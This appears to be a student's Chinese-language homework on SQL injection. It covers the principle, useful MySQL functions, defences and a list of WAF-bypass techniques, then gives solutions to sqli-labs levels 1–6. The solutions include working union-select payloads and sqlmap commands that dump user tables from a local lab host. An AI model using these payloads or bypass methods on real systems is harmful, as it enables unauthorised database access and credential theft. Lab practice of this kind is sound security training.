1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
SQL注入原理:
SQL 注入就是指 Web 应用程序对用户输入的数据合法性没有过滤或者是判断,攻击者可以在Web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入常用函数及含义:
version() # 查看数据库版本
database() # 查看当前数据库名
user() # 查看当前数据库用户
system_user() # 查看系统用户名
group_concat() # 把数据库中的某列数据或某几列数据合并为一个字符串
@@datadir # 查看数据库路径
@@version_compile_os # 查看操作系统
concat() #连接多个字符串information_schema #系统数据库,包含所以数据库信息
SQL注入防御手段:
1. 使用参数化查询
2. 输入验证和过滤
3. 使用存储过程
4. 最小权限原则
5. 使用ORM框架
6. 使用准备语句
7. 使用安全的数据库连接
8. 避免动态拼接SQL语句
9. 使用防火墙和入侵检测系统
10. 定期更新和维护数据库软件
SQL注入常用绕过waf的方法:
- 绕过空格(常用:注释符/**/,%20)--注意:%27为’#为%23
- 括号绕过空格(理解原理+合理利用:注意%28、%29表示())
- 引号绕过(引号内字母 转 十六进制):
- 逗号绕过(使用from或者offset(偏移量)或者jion或者like或者limit)
- 比较符号(<、>)绕过WAF过滤(sqlmap盲注经常使用<、>,使用between的脚本):
- or and xor not绕过:
- 绕过注释符号(#,--(后面跟一个空格))过滤:
- “ = ”符号 绕过(like 、rlike 、regexp 或者 < 或者 >)
- 绕过union,select,where:
- 通用绕过(编码):
- 等价函数绕过:
- 宽字节注入:
- HTTP参污染:
- 更改前台提交方式:
- 垃圾参数:
- 组合绕过、分块传输、协议未覆盖、FUZZ大法、反序列化(有空处理)
2.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
level1
1.让输入ID,尝试输入?id=1'--+判断为字符型注入
2.联合查询,看看有多少列?id=1' order by 3 --+
order by 4 报错,说明只有三列
3.查看数据库版本?id=-1'union select 1,database(),version()--+
显示当前在security数据库,版本是5.7.26;mysql5以上存在内置库
information_schema
4.使用
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+查看表名
5.在users表中查找 ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
6.查找username,id,password;?id=-1'union select 1,2,group_concat(username,"-",id,"-",password) from users --+
level2
1.同理,先试试注入类型?id=1'
属于字符型
2.流程和第一关相同,直接上结果:?id=-1 union select 1,2,group_concat(username,"-",id,"-",password) from users --+
level3
1.老规矩直接上?id=1'发现还是字符型,但是加了个括号,所以后面注入时要闭合括号
2.流程也差不多直接上结果:?id=-1') union select 1,2,group_concat(username,"-",id,"-",password) from users --+
level4
1.老规矩直接上?id=1'
2.再试试?id=1"
发现属于双引号字符型,且带括号
3.过程差不多,只是语句稍加修改:?id=-1") union select 1,2,group_concat(username,"-",id,"-",password) from users --+
level5
1.单引号双引号都可以,也没有括号,网上看看大家的做法,发现好!麻!烦!,于是直接sqlmap启动!!
sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' --dbs
2.盲猜数据库是security,查看下users的字段
sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' -D 'security' -T 'users' --columns
3.查数据
sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' -D 'security' -T 'users' --dump
3.总结SQLi的手工注入的步骤
- 判断有无注入点
- 猜解列名数量
- 通过报错方式判断回显点
- 利用union select进行信息收集
- 获取数据库结构信息
- 提取敏感数据
4.使用sqlmap通过或验证第六关
1.查找数据库
sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-6?id=1' --dbs
2.查找数据库的表
sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-5?id=1' -D 'security' -tables
3.查寻字段
sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-6?id=1' -D 'security' -T 'users' --columns
4.dump
sqlmap -u 'http://192.168.92.1/sqli-labs-master/sqli-labs-master/Less-6?id=1' -D 'security' -T 'users' --dump